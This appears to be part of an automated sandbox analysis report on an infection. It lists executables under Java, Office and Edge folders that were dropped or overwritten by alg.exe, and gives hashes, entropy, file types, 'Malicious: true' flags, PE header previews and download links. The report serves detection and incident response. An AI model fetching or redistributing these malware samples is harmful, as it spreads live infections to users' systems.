Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\kinit.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535262417231299
Encrypted:	false
SSDEEP:	12288:3ylziJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Cd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	ABC0BA1CDC933590C5BD98106CE014D3
SHA1:	C6E64090946CC3B8FE5B835DEB70A2FBB601FFED
SHA-256:	2F70AAF7D469BA94CB56528537247821277C0872556942E03387C15203A53077
SHA-512:	6AC4241DE44B602CBCD8AFBC142C6235075F5687175C81771857285F7350A074A4CB6EBB7CE9A23F4A1D53486BC096403F9A8D9D1BA85D4CF536E2B6327520A3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535267993913123
Encrypted:	false
SSDEEP:	12288:dKlziJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Yd/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	71020870815D2FEC8B4DC22075215908
SHA1:	0915CDB4E79725890BE43A2E1E8641BF35CE187C
SHA-256:	D493F6E7BDB0A628C3AF14553E4D58EE37E5F1979CF3A393D4E647B3962A8AF6
SHA-512:	620028B182BFA8E2D72E9DE0CAC64CF879DC4D84221DB7B443C4F61AB4772CE9B658C59DD3A2EAF6C84B7CD36A7279553A4D780BA53F65B720514C098D263715
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..T............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...T....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.53524122570053
Encrypted:	false
SSDEEP:	12288:V7mTiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:pe/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D942A55C47A464958F8C79AD7BC497B6
SHA1:	F46CDD6237D58821967D505624745C9C8A31057B
SHA-256:	782F441E141901E13965571DD32BDD05FBA09B5E8AF9314CD28629BA430A590E
SHA-512:	493BDAA369B752A8A102C9E32C966BFA13070BC729AB9ED091FD03A2A2636AAD229F695BE1C6441018BB407ED2FA68B2BBE29D451BD7B027A0237EFDEA21A418
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.5360817651182375
Encrypted:	false
SSDEEP:	12288:+SmviJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:B6/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	B828B278C2F53C35E5100809535E18DD
SHA1:	21343BE6A01CA4B7F884B3764689CDA708E3C316
SHA-256:	82A41389986BC78184714C54406394C1EECD7ABEB6CCE18542133A72ECB0188E
SHA-512:	9A9C1CE973FAF25D97AD4B6A04E0E9ECD8D53F327AE944C76F7DCBBB6F762F8F17FB5F3F84174EDFD51756118A57729678422090B3B66D58704B9F3C53505DA1
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................(......................................D'.......@..P........................... #..T...........................`"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535223075590209
Encrypted:	false
SSDEEP:	12288:d45riJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Gx/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	0F769F73433541C1994D331138731434
SHA1:	8A6F99F958E14F70DB0D9DC1136620B7D0AD3AF1
SHA-256:	1B0163425179DF634B0CF8EAD92873BC685E6E3AD8BBC3CCB2EE00251818F2BE
SHA-512:	656B8F5C4A06A83512A31B53FB4A8B5BDBA769DEE13B00BFBFC6460FCF52746EBAD54317412C3E6896C518BD13940A635DA478C4B3AD6DDFDB1C388E62C5681B
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..........................................................................&.......@..\............................"..T............................!..@............ ...............................text............................... ..`.rdata..>.... ......................@..@.data........0....... ..............@....rsrc...\....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\policytool.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535256897902347
Encrypted:	false
SSDEEP:	12288:09/ziJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:oP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	221074B089EB9F437154C7723EAE494D
SHA1:	3535251437F5451744F72C0163BE8952CF6207DA
SHA-256:	BF11358C8B314184C538315FFF98E0A0448B9A828D224120AAC8D8851E2CEEB8
SHA-512:	4767870CDE44796EAFE11A2409D66965068D27BD29AE6BBEE450F0459994CADA56BDF64120EC74DC16475569A025A95D023AD9A4270791590049C8E1824ED870
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535160410641559
Encrypted:	false
SSDEEP:	12288:nBmjiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:Be/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	A13E53B8C59315F9E105341D04437990
SHA1:	5B2DE0E9645240B3CF05D524A03C511554742444
SHA-256:	9FE6DE4F8415087C645120F275E620E927A545FE7B79F49B2BA154150AC5389F
SHA-512:	360200F44B35299577E0F7931F738FEF791C5ED3AB8CD132BF73137BB1DE90891BC1684635C8AB6D463E67E4491DE9B4E0348FC222DE5E9C4C8761AB73375B53
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.................................kD.......................................&.......@..P............................"..T............................!..@............ ...............................text............................... ..`.rdata..6.... ......................@..@.data........0....... ..............@....rsrc...P....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\rmiregistry.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.535216084306793
Encrypted:	false
SSDEEP:	12288:L2SLiJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:KC/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	D46A1796801D1725D9C53972EC6D9A72
SHA1:	6FFE85823CDA9EBD37531E6DC583822CED701F38
SHA-256:	FF22ACF4421ED1E9AF50BE7CAFBE23EB990A9220FEA2157D20D8BF64EB574B7D
SHA-512:	00ACD6B30FA124275C436F62704E8A301A34641C8215C9C32E48B460FBAC2E8F77BAB58C2F7A59F175EAC9F6178E63EE3FFBECCEAF3A3197122C488B40370A76
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@..................................e.......................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\servertool.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1297920
Entropy (8bit):	4.53527471039737
Encrypted:	false
SSDEEP:	12288:wx/ziJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:YP/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	47BF5DAE969368832BDE0026B7FEF50D
SHA1:	D78E7C2563D4897052027080F8300D320F5C4926
SHA-256:	26FC9E65330934CB8D583D629F3277D19FDAD6E7B7E3A82FDAE837AC402FBD4A
SHA-512:	009C516213373912D4ED7BA4A076830AD0022A403FCE3C6BDD2CEC214AE1CD5BE596B4478287A8F1D64645846BF672825BEDA163731B9AA5DCBE255AAE26C932
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................................... ....@.........................................................................&.......@..p............................"..T............................!..@............ ...............................text............................... ..`.rdata..F.... ......................@..@.data........0....... ..............@....rsrc...p....@......."..............@..@.reloc...`...P......................@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1358336
Entropy (8bit):	4.617658773715098
Encrypted:	false
SSDEEP:	24576:lDR/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:lFLNiXicJFFRGNzj3
MD5:	1F9C04FCFB9E40087C744793B4A2596F
SHA1:	86544E52F49DDC416669A8D5B8E11538EE843060
SHA-256:	B5B999EDF8B56537A7B68656CB4EFAC10C09C331315EDDC3429B3EFE50C02CEF
SHA-512:	4F41580AC78721429AEAE65CF0980DF7077ABD59AC01C570127A41183984A897CA7A82AC0CA5C66DE8B02C71321F080FCD0805CAC2B04A92CB6A2A4521FBE80A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zGG.>&).>&).>&).7^..&).\^(.<&).\^-.3&).\^.=&).M-.?&).M(.7&).>&(.&).\^,..&)._,.:&)._..?&)._+.?&).Rich>&).........PE..L...M.d.................\|...........u............@.................................{...........................................@....0..............................H...T...............................@...............P...P........................text...L{.......\|.................. ..`.rdata.............................@..@.data........ ......................@....rsrc........0......................@..@.reloc...`...@......................@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1298432
Entropy (8bit):	4.534850539628578
Encrypted:	false
SSDEEP:	12288:fiQ/iJw/9Rrw0R1u4V/0YG3wx6EcJHUEhPUotFZr+1izHGNe8jKk34z:60/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz
MD5:	E19CD923418E4E4FF8AEABECA7025DAF
SHA1:	EE2E0198A2AB55FECC6F3CFA13F524593B581304
SHA-256:	DABB08F3AC6C021F38A87CDB6D4D44F28B604A048482471AD7728F0B77990BB3
SHA-512:	6F2A9DF19B4FAF09589AE1BCDD149978181D1144907BF740AF1862A0C10C97870549F542F17524D5B66F0B0EC6F5BA6BB210D3C0A749321DFFCEDBE35BEDD096
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........q..A...A...A...Hh..M...#h..C...U{..C...#h..R...#h..M...#h..@....i..B...A...w....i..@....in.@....i..@...RichA...........................PE..L.....d..................... ............... ....@.................................K........................................'.......@..h...........................8#..T...........................x"..@............ ...............................text............................... ..`.rdata....... ......................@..@.data........0......."..............@....rsrc...h....@.......$..............@..@.reloc...`...P.......0..............@...................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1454592
Entropy (8bit):	4.792957698853302
Encrypted:	false
SSDEEP:	24576:di7ln3roAN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:Ml3roANLNiXicJFFRGNzj3
MD5:	44B40ECAA72F658670589CA7EF4E60AA
SHA1:	742907BB7089CADB5C58B80E6019FF8E19921D5C
SHA-256:	B658339F44B10BA452AA9487D32A82DA3FC4A9F2D68E27D93C75FA1F302D8D55
SHA-512:	9732410971801344501F289D4ADF529EC2AD698328401484E0F64BF761520E614D92E338528E0A3D60EBE8AB968C48F0128C547FE0357C6D42D75EEFFCA3255C
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........n...........................................................................................Rich............................PE..L.....d............................A.............@..........................@!......t..................................................D............................e..8............................e..@............................................text...D........................... ..`.rdata..5...........................@..@.data................f..............@....idata...............v..............@..@.00cfg..............................@..@.rsrc...D...........................@..@.reloc...`..........................@...........................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1424896
Entropy (8bit):	4.81668577077679
Encrypted:	false
SSDEEP:	24576:uNfQP5/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:kE5LNiXicJFFRGNzj3
MD5:	4B35EA24B2ED96C10DBFDF0A2B06F1EB
SHA1:	57A4DC942169DCA1377244A13ADB4E32A9D5B88A
SHA-256:	909788A3E691844B861F78DCCA8D8B0A908BFC2A9851F2B3B16C2B6D85B2C3D5
SHA-512:	492E3645A89520073A664A4BE70C6592903A50F9E2FDBAF35CAC8048247C2B8C886A7E4F014964EC8980074A6A22B9BE1D46ABBB2EAD7B340496F7A3827041AE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.u.....................\|.......\|.......\|.......\|...?.......................................y.......y.......y.......Rich............................PE..L...-1.e............... ..........................@........................... .............................................d...........................................8...............................@...............,............................text............................... ..`.rdata..4a.......b..................@..@.data........ ......................@....reloc...p...@......................@...........................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.837561115183016
Encrypted:	false
SSDEEP:	24576:ELiN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xLNiXicJFFRGNzj3
MD5:	F7BD03340069BF37A13797E5FB960393
SHA1:	857FA01B8795CFB9D9DFF63D9FE29D1C680D2E15
SHA-256:	FD7E8059E720B997D36D30ADFFAA1041BC302F1EEA3155F161496447F8E658E9
SHA-512:	DE2673062889062BC32DFFEFA6188C2EE0915453C0164CE5EF5175DA5B51EF0FCB95B93C80A8662089979668C6F892E63D0B773E6366DAE7AB3158876DACC671
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... .....j............ ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1443328
Entropy (8bit):	4.83756336973137
Encrypted:	false
SSDEEP:	24576:6LiN/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:rLNiXicJFFRGNzj3
MD5:	EA1F44592B9C1DF3DE25A2ECEE65C4C3
SHA1:	FA2826B23ADDF1C3CF6E39E055D791E54F93C2E4
SHA-256:	4F1F20A31730BDDACCD56C79C7CDA3110052D056DEC0F1D6791145E3F2826579
SHA-512:	9D7BC70DE0BE8031FD4376E6B4C7DF171BF1002302B804305E5490215753012182F48B40245612D69B8EF709F5229AFFEF31739814345325787E8F4CF0B64CFB
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......,3.zhR.)hR.)hR.)a.)`R.). .(nR.). .(wR.). .(oR.)hR.).V.). .(AR.). o)jR.). .(xR.). m)iR.). .(iR.)RichhR.)................PE..L...I.6..................&...H......`........@....@........................... .................. ...........................Q.......`..(...........................`^..T....................B..........@............P...............................text....$.......&.................. ..`.data........@.....................@....idata..l....P.......2..............@..@.rsrc...(....`.......@..............@..@.reloc.......p.......F..............@...................................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1499136
Entropy (8bit):	4.7918298238605574
Encrypted:	false
SSDEEP:	24576:cf9/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:cf9LNiXicJFFRGNzj3
MD5:	5DFAEAA75D382A99D6802DB146242B87
SHA1:	69BE9A3C0476CB7A960FDDC14455C9AB0EDE854E
SHA-256:	A44C211238FFB8CF0DAE9E6D92A5F5B58D6917C95AC5FDA246314CD1C8465834
SHA-512:	9CF0DC6119CE0A389AC866D1BBD57C1C2265A2A66B89EE2301505DF7E212240182FD4302AA4AE8818A42CF687A068986D6339988073244745E682B2FC4A1F867
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... .(.d.F.d.F.d.F.m..l.F...B.h.F...E.`.F...C.{.F...G.c.F.d.G...F...N.M.F.....f.F.....e.F...D.e.F.Richd.F.................PE..d....~0/.........."..........P.................@..............................!.....h..... .......... ...................................... ........ ..(...............................T....................e..(...`d..8............e...............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata..............................@..@.rsrc...(.... ......................@..@.reloc.......0....... ..............@...........................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1651712
Entropy (8bit):	5.157785010715094
Encrypted:	false
SSDEEP:	24576:UbUO42q/Eo/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:UxoLNiXicJFFRGNzj3
MD5:	E59B46EBCFD691C7FC6C6B9900420863
SHA1:	3D1833AFD48F13075198D7C7B0A04F2D1873E20A
SHA-256:	7B7AE5EB5ABCD11A19616D61404DE07E4107F821E15B2F4D730BC99AA7BFCD84
SHA-512:	A2EB159DCF1593AC813B2A77AE3FABBC4DB8F8C854B4494EDA5D98F28D1B83EC9B0B23AF5A9AED487986989EB349755A0916F5564A074CCFDA5BFC22B89A07E9
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X..i.v.:.v.:.v.:...;9v.:...;.v.:...;.v.:.v.:.v.:...;$v.:...;4v.:...:.v.:...;.v.:Rich.v.:........................PE..L......m.................0...\|...............@....@..........................0$......F........... ......................................................................T...................`[..........@............p...............................text...l/.......0.................. ..`.data...@'...@.......4..............@....idata..@....p.......L..............@..@.c2r.................\...................rsrc................^..............@..@.reloc...............d..............@...................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft Office\root\Integration\Addons\OneDriveSetup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	52712960
Entropy (8bit):	7.961787872433641
Encrypted:	false
SSDEEP:	1572864:hLjL44lyBc+UN0qRsMjDAY9d5o/paLXzHLe:hicZmsR3Lo/cnLe
MD5:	4F4E21649A9E1341C080E42D3261EBA5
SHA1:	4EE7C7BFEEC266AE9B7C707D3D9497DDDE45815B
SHA-256:	6725C702C1870B582F1493BA23074C1EEB08897021DEE89B5ED25A2BA9356B8E
SHA-512:	4CA269D479AB4FB7E1D9BF1E80A0D5803A747BA612A42B37277B4409A7282656BA8838B77501E8FEB805CDFD7A2615C755064526187DB8695139C1D9A91C4140
Malicious:	true
Preview:	MZ......................@...................................0...........!..L.!This program cannot be run in DOS mode....$.......LN.../nB./nB./nB.]mC./nB.]kC./nB.TjC./nB.TmC./nB.TkC}/nB.FjC./nB.FkC3/nB.]hC./nB.]jC./nB.]oC?/nB./oBq-nB.TgC./nB.TkC./nB.TnC./nB.T.B./nB.TlC./nBRich./nB........................PE..L...1~............"....!.j(.........p]........(...@...........................$.....T[$..............................l3..t....3.0.....6.X............................./.p...................../.....h./.@.............(......j3.`....................text...jh(......j(................. ..`.rdata........(......n(.............@..@.data...t.... 4.......4.............@....didat..$.....5.......5.............@....rsrc...X.....6.......5.............@..@.reloc... ...........F..............@...................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1812992
Entropy (8bit):	5.252947318942295
Encrypted:	false
SSDEEP:	24576:3s8DMeflpnIOvYUp/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:3VDD9pnIOjLNiXicJFFRGNzj3
MD5:	08705E18117921802ED06D9B35B6A2B3
SHA1:	9BD272E017984012248273B4560693165B41452A
SHA-256:	0B91FDF2BD87ED8B989C4945AEE92E63AE60F2AB3071E2CA343927B69498069D
SHA-512:	4751C41C756F3029F5BDB63BDE027A99BD1542019A9C6415B9911BD49B4C100878C64CAE32A0A2EC09D7C5BE63A5E4BD2D56DC69418EC2EC40212094FA55AF7E
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."..........J......@!.........@..............................'........... .............................................................X........F......................T.......................(...P...@...........@...`............................text............................... ..`.rdata..8...........................@..@.data...XL....... ...d..............@....pdata...F.......H..................@..@.00cfg..8.... ......................@..@.gxfg....*...0...,..................@..@.retplne.....`...........................tls.........p......................@..._RDATA..\...........................@..@.rsrc...X...........................@..@.reloc...`..........................@...................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4364800
Entropy (8bit):	6.746532523664255
Encrypted:	false
SSDEEP:	49152:bB1sstqMHiq8kBfK9a+cOVE/TqEpEepIkRqqUu9wg6KFYso8l8EILNiXicJFFRGN:PHzorVmr2ZkRpdJYol27wRGpj3
MD5:	887533ED6BCDE7BBA53662C2331CE14C
SHA1:	9EFE9077134D9AF25F629EE87C0137780961B9E2
SHA-256:	D6597CF56C9480D7C76EE6D3813D933A5C6749C1668B5198135440CFFEFF90E8
SHA-512:	C791DBE30580C1CB5927B180415C14103CBBD639D6825E2951440EDC1F7FC8EEF0A27D798E21351497EC47D63040AFB88089C5665473AA3A8416A7E91DD1C8F7
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e..........".......'..".......K.........@.............................PD......qC... .....................................................P.... 4.......2..Q..................to..8...................`j..(.....'.@...........0.......`........................text...'.'.......'................. ..`.rdata...A....'..B....'.............@..@.data........./......./.............@....pdata...Q....2..R....0.............@..@.00cfg..0....p3......42.............@..@.gxfg....2....3..4...62.............@..@.retplne......3......j2..................tls..........3......l2.............@...LZMADEC.......3......p2............. ..`_RDATA..\.....4.......2.............@..@malloc_h......4.......2............. ..`.rsrc........ 4.......2.............@..@.reloc... ...0;.......9.............@...................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe

Download File

Process:	C:\Windows\System32\alg.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1394176
Entropy (8bit):	4.6755041436927804
Encrypted:	false
SSDEEP:	24576:qEyTz/TwSfVcYG3K/cJHlnFR+IGNe8j3Iz:xyXLNiXicJFFRGNzj3
MD5:	0C6065A643EB8986FEF903053AC87D16
SHA1:	5FAB447962B104ED93F9762159C7F15F70E1A0F3
SHA-256:	0AB3F2B30DC0C28D4273DDFFD64119E4187E52E9C6599F0FA7F839843660FCC1
SHA-512:	1D977981AAE25C46AB584DBED849FCBCFDAF22C9645E0CD1622E4D9B447774C2E64C0EE70210F12F78BCDE92E6AC658841A15DBA7248D916483739DAD14EA192
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."............................@.............................` .......... ..................................................]..(....................................W..T...............................@............`..X............................text............................... ..`.rdata..,...........................@..@.data...0............j..............@....pdata...............v..............@..@.00cfg..8...........................@..@.gxfg...P...........................@..@.retplne................................_RDATA..\...........................@..@.rsrc...............................@..@.reloc...`..........................@...........................................................................................................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe

Download File

Process:	C:\Users\user\Desktop\AsusSetup.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2354176
Entropy (8bit):	7.0464527285333025
Encrypted:	false
SSDEEP:	49152:PhDdVrQ95RW0YEHyWQXE/09Val0GSLNiXicJFFRGNzj3:PhHYW+HyWKZ7wRGpj3
MD5:	02A39F6A65834451980F9B1EE3EA62AA
SHA1:	AE7FC7B33DDC9B618E6D509661DD7B36ACDA3E71
SHA-256:	7103233B89F635A1FCB2ABEF62D1C2E8DBAED30C8B914ABB8599EC5E54B84483
SHA-512:	2DDB68E45E3EE7CE144270FA484D554054E4536146B3C6C5F48A13D53B2D9B6848DCD5934B7CC9F2A7D814BDAD0FE1E61AF08CC0BC7101700666BED4859D783E
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...f..e.........."......2...........b.........@.............................`%.....?.$... .........................................p%......>).......@..................................8.......................(....c..@........... 0..P............................text....0.......2.................. ..`.rdata.......P.......6..............@..@.data...4...........................@....pdata..............................@..@.00cfg..0...........................@..@.gxfg............0..................@..@.retplne.................................tls....!...........................@..._RDATA..\.... ......................@..@malloc_h.....0...................... ..`.rsrc........@......................@..@.reloc.......`......................@...........................................................................................................................................

C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe

Download File

